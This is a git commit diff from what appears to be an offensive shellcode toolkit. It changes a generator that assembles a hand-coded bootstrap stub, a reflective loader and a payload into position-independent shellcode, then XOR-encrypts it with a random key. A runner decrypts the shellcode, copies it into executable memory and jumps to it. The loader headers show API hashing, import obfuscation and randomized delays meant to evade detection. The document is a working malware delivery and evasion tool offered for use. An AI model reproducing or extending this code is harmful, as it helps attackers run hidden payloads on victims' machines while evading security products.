randomized XOR & organized common headers
This commit is contained in:
parent
b3a4f0f51c
commit
ee6da55d83
@ -1,12 +1,6 @@
|
||||
#include <windows.h>
|
||||
#include <getopt.h>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
#include <cstdint>
|
||||
|
||||
#include "generator.hpp"
|
||||
#include "../shared/crypto.hpp"
|
||||
#include "../shared/futils.hpp"
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
@ -68,26 +62,12 @@ int main(int argc, char **argv)
|
||||
std::cout << "[+] Payload path: " << payloadPath << std::endl;
|
||||
std::cout << "[+] Output path: " << outputPath << std::endl;
|
||||
|
||||
LPBYTE loaderContents;
|
||||
DWORD loaderSize;
|
||||
|
||||
if (!GetFileContents(loaderPath, &loaderContents, &loaderSize))
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
LPBYTE payloadContents;
|
||||
DWORD payloadSize;
|
||||
|
||||
if (!GetFileContents(payloadPath, &payloadContents, &payloadSize))
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
auto loaderContents = ReadFromFile(loaderPath);
|
||||
auto payloadContents = ReadFromFile(payloadPath);
|
||||
|
||||
// Compose the complete shellcode from loader, payload, and bootstrap
|
||||
|
||||
std::vector<BYTE> bootstrap;
|
||||
DWORD bootstrapSize = BOOTSTRAP_LEN;
|
||||
DWORD funcParameterHash = CalculateHash(funcParameter);
|
||||
|
||||
/*
|
||||
@ -173,7 +153,7 @@ int main(int argc, char **argv)
|
||||
bootstrap.push_back(0x49);
|
||||
bootstrap.push_back(0x81);
|
||||
bootstrap.push_back(0xc0);
|
||||
auto funcParameterOffset = (bootstrapSize - 5) + loaderSize + payloadSize;
|
||||
auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size();
|
||||
|
||||
for (size_t i = 0; i < sizeof(funcParameterOffset); i++)
|
||||
{
|
||||
@ -192,7 +172,7 @@ int main(int argc, char **argv)
|
||||
bootstrap.push_back(0x48);
|
||||
bootstrap.push_back(0x81);
|
||||
bootstrap.push_back(0xc1);
|
||||
auto payloadOffset = (bootstrapSize - 5) + loaderSize;
|
||||
auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
|
||||
|
||||
for (size_t i = 0; i < sizeof(payloadOffset); i++)
|
||||
{
|
||||
@ -205,7 +185,7 @@ int main(int argc, char **argv)
|
||||
|
||||
// Call <reflectiveLoaderAddress> -> Call the reflective loader address
|
||||
bootstrap.push_back(0xe8);
|
||||
auto reflectiveLoaderAddress = (bootstrapSize - 5) + loaderSize;
|
||||
auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size();
|
||||
|
||||
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++)
|
||||
{
|
||||
@ -235,15 +215,15 @@ int main(int argc, char **argv)
|
||||
bootstrap.push_back(0x90);
|
||||
bootstrap.push_back(0x90);
|
||||
|
||||
if (bootstrap.size() != bootstrapSize)
|
||||
if (bootstrap.size() != BOOTSTRAP_LEN)
|
||||
{
|
||||
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << bootstrapSize << std::endl;
|
||||
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
|
||||
std::cout << "[+] Loader size: " << loaderSize << std::endl;
|
||||
std::cout << "[+] Payload size: " << payloadSize << std::endl;
|
||||
std::cout << "[+] Loader size: " << loaderContents.size() << std::endl;
|
||||
std::cout << "[+] Payload size: " << payloadContents.size() << std::endl;
|
||||
|
||||
/*
|
||||
Form the complete shellcode with the following structure:
|
||||
@ -253,67 +233,26 @@ int main(int argc, char **argv)
|
||||
- User data
|
||||
*/
|
||||
|
||||
bootstrap.insert(bootstrap.end(), loaderContents, loaderContents + loaderSize);
|
||||
bootstrap.insert(bootstrap.end(), payloadContents, payloadContents + payloadSize);
|
||||
bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end());
|
||||
bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end());
|
||||
|
||||
std::cout << "[+] Total shellcode size: " << bootstrap.size() << std::endl;
|
||||
// XOR with a random content length key
|
||||
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
|
||||
auto key = GenerateKey(bootstrap.size());
|
||||
XorCipher(bootstrap, key);
|
||||
|
||||
if (!WriteFileContents(outputPath, bootstrap.data(), bootstrap.size()))
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
|
||||
|
||||
auto srcUuid = GenerateUuid();
|
||||
std::cout << "[+] AES key derivation UUID: " << srcUuid << std::endl;
|
||||
WriteToFile(outputPath, bootstrap);
|
||||
std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl;
|
||||
|
||||
std::cout << "[+] " << std::endl;
|
||||
auto keyPath = outputPath + ".key";
|
||||
WriteToFile(keyPath, key);
|
||||
std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize)
|
||||
{
|
||||
std::ifstream infile(filePath, std::ios::binary | std::ios::ate);
|
||||
|
||||
if (!infile)
|
||||
{
|
||||
std::cout << "[!] Failed to open file for reading: " << filePath << std::endl;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*fileSize = static_cast<DWORD>(infile.tellg());
|
||||
infile.seekg(0, std::ios::beg);
|
||||
|
||||
*fileContents = new BYTE[*fileSize];
|
||||
infile.read(reinterpret_cast<char *>(*fileContents), *fileSize);
|
||||
infile.close();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize)
|
||||
{
|
||||
std::ofstream outfile(filePath, std::ios::binary);
|
||||
|
||||
if (!outfile)
|
||||
{
|
||||
std::cout << "[!] Failed to open file for writing: " << filePath << std::endl;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
outfile.write(reinterpret_cast<char *>(fileContents), fileSize);
|
||||
|
||||
if (!outfile.good())
|
||||
{
|
||||
std::cout << "[!] Failed to write the contents: " << filePath << std::endl;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
outfile.close();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void PrintHelp(char **argv)
|
||||
{
|
||||
std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
|
||||
|
@ -1,12 +1,9 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <getopt.h>
|
||||
#include <iostream>
|
||||
|
||||
#define BOOTSTRAP_LEN 79
|
||||
|
||||
// Utils
|
||||
BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize);
|
||||
BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize);
|
||||
constexpr auto BOOTSTRAP_LEN = 79;
|
||||
|
||||
void PrintHelp(char **argv);
|
@ -1,14 +1,15 @@
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include "../shared/futils.hpp"
|
||||
#include "../shared/crypto.hpp"
|
||||
|
||||
#define VERBOSE 1
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
if (argc != 2)
|
||||
if (argc != 3)
|
||||
{
|
||||
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path>" << std::endl;
|
||||
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>" << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
@ -16,41 +17,40 @@ int main(int argc, char **argv)
|
||||
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
|
||||
#endif
|
||||
|
||||
std::ifstream shellcode(argv[1]);
|
||||
auto shellcodeContents = ReadFromFile(argv[1]);
|
||||
|
||||
if (!shellcode.is_open())
|
||||
{
|
||||
std::cout << "[!] Failed to open " << argv[1] << std::endl;
|
||||
return 1;
|
||||
}
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
|
||||
#endif
|
||||
|
||||
shellcode.seekg(0, std::ios::end);
|
||||
size_t filesize = shellcode.tellg();
|
||||
shellcode.seekg(0, std::ios::beg);
|
||||
auto key = ReadFromFile(argv[2]);
|
||||
|
||||
auto buffer = new char[filesize];
|
||||
shellcode.read(buffer, filesize);
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] XOR'ing shellcode" << std::endl;
|
||||
#endif
|
||||
|
||||
auto base = VirtualAlloc(nullptr, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
XorCipher(shellcodeContents, key);
|
||||
|
||||
if (!base)
|
||||
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (!baseAddress)
|
||||
{
|
||||
std::cout << "[!] Failed to allocate memory" << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Allocated " << filesize << " bytes at " << base << std::endl;
|
||||
std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
|
||||
#endif
|
||||
|
||||
std::copy(buffer, buffer + filesize, static_cast<char *>(base));
|
||||
std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Copied shellcode to " << base << std::endl;
|
||||
std::cout << "[+] Executing 'jmp " << base << "'" << std::endl;
|
||||
std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
|
||||
std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
|
||||
#endif
|
||||
|
||||
__asm__("jmp *%0" ::"r"(base));
|
||||
__asm__("jmp *%0" ::"r"(baseAddress));
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
@ -1,10 +1,3 @@
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <vector>
|
||||
#include <tuple>
|
||||
#include <algorithm>
|
||||
#include <random>
|
||||
|
||||
#include "loader.hpp"
|
||||
#include "../shared/crypto.hpp"
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <random>
|
||||
#include <algorithm>
|
||||
|
||||
constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000;
|
||||
constexpr auto OBFUSCATE_IMPORTS = 1;
|
||||
@ -62,12 +62,10 @@ struct _IMAGE_RELOC
|
||||
using IMAGE_RELOC = _IMAGE_RELOC;
|
||||
using PIMAGE_RELOC = _IMAGE_RELOC *;
|
||||
|
||||
// Utils
|
||||
PBYTE GetModuleAddressFromHash(DWORD dwHash);
|
||||
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng);
|
||||
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
|
||||
|
||||
// Loader functions
|
||||
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
||||
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
|
||||
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng);
|
||||
|
@ -1,41 +1,26 @@
|
||||
#include <winternl.h>
|
||||
#include <random>
|
||||
#include <sstream>
|
||||
|
||||
#include "crypto.hpp"
|
||||
|
||||
std::string GenerateUuid()
|
||||
std::vector<BYTE> GenerateKey(size_t keysize)
|
||||
{
|
||||
// Source: https://stackoverflow.com/a/60198074/15310712
|
||||
|
||||
std::stringstream ss;
|
||||
std::vector<BYTE> key(keysize, 0);
|
||||
std::random_device rd;
|
||||
std::mt19937 gen(rd());
|
||||
std::uniform_int_distribution<> dis(0, 15);
|
||||
std::uniform_int_distribution<> dis2(8, 11);
|
||||
std::uniform_int_distribution<> dis(0, 255);
|
||||
|
||||
ss << std::hex;
|
||||
|
||||
auto generateHex = [&](int count)
|
||||
for (size_t i = 0; i < key.size(); ++i)
|
||||
{
|
||||
for (int i = 0; i < count; ++i)
|
||||
{
|
||||
ss << dis(gen);
|
||||
key[i] = static_cast<BYTE>(dis(gen));
|
||||
}
|
||||
};
|
||||
|
||||
generateHex(8);
|
||||
ss << "-";
|
||||
generateHex(4);
|
||||
ss << "-4";
|
||||
generateHex(3);
|
||||
ss << "-";
|
||||
ss << dis2(gen);
|
||||
generateHex(3);
|
||||
ss << "-";
|
||||
generateHex(12);
|
||||
return key;
|
||||
}
|
||||
|
||||
return ss.str();
|
||||
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key)
|
||||
{
|
||||
for (auto i = 0; i < data.size(); i++)
|
||||
{
|
||||
data[i] = data[i] ^ key[i % key.size()];
|
||||
}
|
||||
}
|
||||
|
||||
DWORD CalculateHash(const std::string &source)
|
||||
|
@ -1,10 +1,13 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <string>
|
||||
#include <random>
|
||||
|
||||
constexpr auto HASH_KEY = 5381;
|
||||
|
||||
std::string GenerateUuid();
|
||||
std::vector<BYTE> GenerateKey(size_t keysize);
|
||||
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key);
|
||||
DWORD CalculateHash(const std::string &source);
|
||||
DWORD CalculateHash(const UNICODE_STRING &baseDllName);
|
||||
|
Loading…
Reference in New Issue
Block a user